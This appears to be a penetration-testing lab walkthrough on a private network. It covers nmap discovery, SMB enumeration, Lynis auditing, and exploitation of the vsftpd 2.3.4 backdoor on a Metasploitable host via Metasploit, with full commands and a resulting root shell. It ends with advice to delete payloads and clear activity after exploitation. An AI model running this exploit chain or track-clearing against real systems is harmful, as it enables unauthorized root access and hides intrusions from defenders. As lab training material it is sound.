| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-08-30T17:49:05
| Not valid after:  2073-08-17T17:49:05
| MD5:   348e:9c3e:eaf5:7d2a:c7c9:1667:dc2d:7725
|_SHA-1: 018c:15d3:aab0:96b0:3fe5:ba1b:b909:3ca5:3d43:998f
MAC Address: CC:47:40:CA:8B:EE (AzureWave Technology)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 11|10|2008 (91%), FreeBSD 6.X (88%)
OS CPE: cpe:/o:microsoft:windows_11 cpe:/o:freebsd:freebsd:6.2 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2008::beta3 cpe:/o:micr
osoft:windows_server_2008
Aggressive OS guesses: Microsoft Windows 11 21H2 (91%), FreeBSD 6.2-RELEASE (88%), Microsoft Windows 10 (86%), Microsoft Windows Server 2008 or 20
08 Beta 3 (85%), Microsoft Windows 10 1607 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.033 days (since Thu Aug  7 10:06:54 2025)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental

TRACEROUTE
HOP RTT     ADDRESS
1   0.77 ms 192.168.115.150

Nmap scan report for 192.168.115.165
```

```
Initiating NSE at 10:55
Completed NSE at 10:55, 0.01s elapsed
Initiating NSE at 10:55
Completed NSE at 10:55, 0.00s elapsed
Nmap scan report for 192.168.115.210
Host is up (0.00010s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.63
|_http-title: Index of /
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.63 (Debian)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| 7.0K  2025-08-06 19:25  games.exe
| 615   2025-06-25 13:48  index.nginx-debian.html
|_
Device type: general purpose
Running: Linux 2.6.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:6
OS details: Linux 2.6.32, Linux 5.0 - 6.2
Uptime guess: 39.590 days (since Sat Jun 28 20:45:46 2025)
Network Distance: 0 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: kali.kj

NSE: Script Post-scanning.
Initiating NSE at 10:55
Completed NSE at 10:55, 0.00s elapsed
Initiating NSE at 10:55
Completed NSE at 10:55, 0.00s elapsed
Initiating NSE at 10:55
Completed NSE at 10:55, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (5 hosts up) scanned in 44.61 seconds
```

2. Enumerate SMB, RDP, SSH, etc.

Goal: Identify vulnerable services and misconfigurations

```
┌──(root㉿kali)-[/home/kali]
└─# enum4linux-ng -A 192.168.115.165
ENUM4LINUX - next generation (v1.3.4)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 192.168.115.165
[*] Username ......... ''
[*] Random Username .. 'zivqgqjk'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ========================================
|    Listener Scan on 192.168.115.165    |
 ========================================
[*] Checking LDAP
[-] Could not connect to LDAP on 389/tcp: connection refused
[*] Checking LDAPS
[-] Could not connect to LDAPS on 636/tcp: connection refused
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp

 ============================================================
|    NetBIOS Names and Workgroup/Domain for 192.168.115.165    |
 ============================================================
[+] Got domain/workgroup name: WORKGROUP
[+] Full NetBIOS names information:
- DESKTOP-0D7A3D1 <00> -         B <ACTIVE>  Workstation Service
- WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
- DESKTOP-0D7A3D1 <20> -         B <ACTIVE>  File Server Service
- WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
- WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
- __MSBROWSE__    <01> - <GROUP> B <ACTIVE>  Master Browser
- MAC Address = 00-0C-29-EB-0A-7B
```

```
root@kali: /home/kali
- WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
- DESKTOP-0D7A3D1 <20> -         B <ACTIVE>  File Server Service
- WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
- WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
- ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
- MAC Address = 00-0C-29-EB-0A-7B

 ==========================================
|    SMB Dialect Check on 192.168.115.165    |
 ==========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
  SMB 1.0: false
  SMB 2.02: true
  SMB 2.1: true
  SMB 3.0: true
  SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: false

 ============================================================
|    Domain Information via SMB session for 192.168.115.165    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DESKTOP-0D7A3D1
NetBIOS domain name: ''
DNS domain: DESKTOP-0D7A3D1
FQDN: DESKTOP-0D7A3D1
Derived membership: workgroup member
Derived domain: unknown

 ==========================================
|    RPC Session Check on 192.168.115.165    |
 ==========================================
[*] Check for null session
```

```
root@kali: /home/kali
DNS domain: DESKTOP-0D7A3D1
FQDN: DESKTOP-0D7A3D1
Derived membership: workgroup member
Derived domain: unknown

 ==========================================
|    RPC Session Check on 192.168.115.165    |
 ==========================================
[*] Check for null session
[-] Could not establish null session: STATUS_ACCESS_DENIED
[*] Check for random user
[-] Could not establish random user session: STATUS_LOGON_FAILURE
[+] Sessions failed, neither null nor user sessions were possible

 ================================================
|    OS Information via RPC for 192.168.115.165    |
 ================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '2004'
OS build: '19041'
Native OS: not supported
Native LAN manager: not supported
Platform id: null
Server type: null
Server type string: null

[!] Aborting remainder of tests since sessions failed, rerun with valid credentials

Completed after 0.16 seconds

┌──(root㉿kali)-[/home/kali]
└─#
```

3.Vulnerability Scanninng using Zaproxy

Go to alert section to see the vulnerabilities

4 . exploitation using Metasploit

```
Discovered open port 5432/tcp on 192.168.115.33
Discovered open port 6667/tcp on 192.168.115.33
Discovered open port 513/tcp on 192.168.115.33
Discovered open port 2121/tcp on 192.168.115.33
Discovered open port 8009/tcp on 192.168.115.33
Discovered open port 6000/tcp on 192.168.115.33
Completed SYN Stealth Scan at 11:17, 0.20s elapsed (1000 total ports)
Initiating Service scan at 11:17
Scanning 23 services on 192.168.115.33
Completed Service scan at 11:17, 16.33s elapsed (23 services on 1 host)
Initiating OS detection (try #1) against 192.168.115.33
NSE: Script scanning 192.168.115.33.
Initiating NSE at 11:17
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 11:18, 15.21s elapsed
Initiating NSE at 11:18
Completed NSE at 11:18, 0.76s elapsed
Initiating NSE at 11:18
Completed NSE at 11:18, 0.00s elapsed
Nmap scan report for 192.168.115.33
Host is up (0.0015s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.115.210
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
| End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
```

Vsftpd version is vulnerable

Type use 1 for payload

```
=[ metasploit v6.4.69-dev                          ]
+ -- --=[ 2529 exploits - 1302 auxiliary - 432 post       ]
+ -- --=[ 1672 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Set rhosts <target ip> and exploit

```
  Id  Name
  --  ----
  0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.115.33
rhosts => 192.168.115.33
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.115.33   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.115.33:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.115.33:21 - USER: 331 Please specify the password.
[+] 192.168.115.33:21 - Backdoor service has been spawned, handling...
[+] 192.168.115.33:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
```

Found shell means exploit successfully

```
[+] 192.168.115.33:21 - Backdoor service has been spawned, handling...
[+] 192.168.115.33:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.115.210:41829 -> 192.168.115.33:6200) at 2025-08-07 11:23:59 +0530

shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
mkdir
mkdir
mkdir: missing operand
Try `mkdir --help' for more information.
root@metasploitable:/# ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:7f:52:1b
          inet addr:192.168.115.33  Bcast:192.168.115.255  Mask:255.255.255.0
          inet6 addr: 2402:3a80:c90:a6e4:20c:29ff:fe7f:521b/64 Scope:Global
          inet6 addr: fe80::20c:29ff:fe7f:521b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:20993 errors:35 dropped:71 overruns:0 frame:0
          TX packets:27076 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2189750 (2.0 MB)  TX bytes:27005517 (25.7 MB)
          Interrupt:16 Base address:0x2000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:262 errors:0 dropped:0 overruns:0 frame:0
          TX packets:262 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:86649 (84.6 KB)  TX bytes:86649 (84.6 KB)

root@metasploitable:/#
```

41.1 : checking missing Security patches and patch levels : linux

By using lynis we can find the missing security patches and patch levels

```
More options available. Run '/usr/sbin/lynis show options', or use the man page.

No command provided. Exiting..

┌──(root㉿kali)-[/home/kali]
└─# sudo lynis audit system

[ Lynis 3.1.4 ]

################################################################################
  Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
  welcome to redistribute it under the terms of the GNU General Public License.
  See the LICENSE file for details about using this software.

  2007-2024, CISOfy - https://cisofy.com/lynis/
  Enterprise support available (compliance, plugins, interface and tools)
################################################################################


[+] Initializing program
------------------------------------
  - Detecting OS...                                           [ DONE ]
  - Checking profiles...                                      [ DONE ]

  ---------------------------------------------------
  Program version:           3.1.4
  Operating system:          Linux
  Operating system name:     Kali Linux
  Operating system version:  Rolling release
  Kernel version:            6.12.25
  Hardware platform:         x86_64
  Hostname:                  kali
  ---------------------------------------------------
```

```
  - Plugin: debian
    [
[+] Debian Tests
------------------------------------
  - Checking for system binaries that are required by Debian Tests...
    - Checking /bin...                                        [ FOUND ]
    - Checking /sbin...                                       [ FOUND ]
    - Checking /usr/bin...                                    [ FOUND ]
    - Checking /usr/sbin...                                   [ FOUND ]
    - Checking /usr/local/bin...                              [ FOUND ]
    - Checking /usr/local/sbin...                             [ FOUND ]
  - Authentication:
    - PAM (Pluggable Authentication Modules):

  [WARNING]: Test DEB-0001 had a long execution: 21.739448 seconds

      - libpam-tmpdir                                         [ Not Installed ]
  - File System Checks:
    - DM-Crypt, Cryptsetup & Cryptmount:
  - Software:
    - apt-listbugs                                            [ Not Installed ]
    - apt-listchanges                                         [ Not Installed ]
    - needrestart                                             [ Installed ]
    - fail2ban                                                [ Not Installed ]
]

[+] Boot and services
------------------------------------
  - Service Manager                                           [ systemd ]
  - Checking UEFI boot                                        [ DISABLED ]
  - Checking presence GRUB2                                   [ FOUND ]
    - Checking for password protection                        [ NONE ]
  - Check running services (systemctl)                        [ DONE ]
        Result: found 35 running services
  - Check enabled services at boot (systemctl)                [ DONE ]
        Result: found 19 enabled services
  - Check startup files (permissions)                         [ OK ]
  - Running 'systemd-analyze security'
    - Unit name (exposure value) and predicate
```

```
root@kali: /home/kali
    - Querying RPM package manager
  - Searching dpkg package manager                    [ FOUND ]
    - Querying package manager

 [WARNING]: Test PKGS-7345 had a long execution: 16.732586 seconds

  - Query unpurged packages                           [ NONE ]
  - Checking APT package database                     [ OK ]
  - Checking vulnerable packages (apt-get only)       [ DONE ]

 [WARNING]: Test PKGS-7392 had a long execution: 69.778919 seconds

  - Checking upgradeable packages                     [ SKIPPED ]
  - Checking package audit tool                       [ INSTALLED ]
    Found: apt-get
  - Toolkit for automatic upgrades                    [ NOT FOUND ]

[+] Networking
------------------------------------
  - Checking IPv6 configuration                       [ ENABLED ]
      Configuration method                            [ AUTO ]
      IPv6 only                                       [ NO ]
  - Checking configured nameservers
    - Testing nameservers
        Nameserver: 192.168.115.236                   [ NO RESPONSE ]
        Nameserver: 2402:3a80:c90:a6e4::64            [ OK ]
    - Minimal of 2 responsive nameservers             [ WARNING ]
  - Checking default gateway                          [ DONE ]
  - Getting listening ports (TCP/UDP)                 [ DONE ]
  - Checking promiscuous interfaces                   [ OK ]
  - Checking waiting connections                      [ OK ]
  - Checking status DHCP client                       [ NOT ACTIVE ]
  - Checking for ARP monitoring software              [ NOT FOUND ]
  - Uncommon network protocols                        [ 0 ]

[+] Printers and Spools
------------------------------------
  - Checking cups daemon                              [ NOT FOUND ]
```

41.2. Checking missing security patches and patch levels :windows

MBSA Scanner

41.3 Cleanup: resetting into prevision state

1. if you create any file or something then delete first and after clear all command using #cls

2 . delete the payload using del<payload name>

And check and clear all activities you do after exploitation.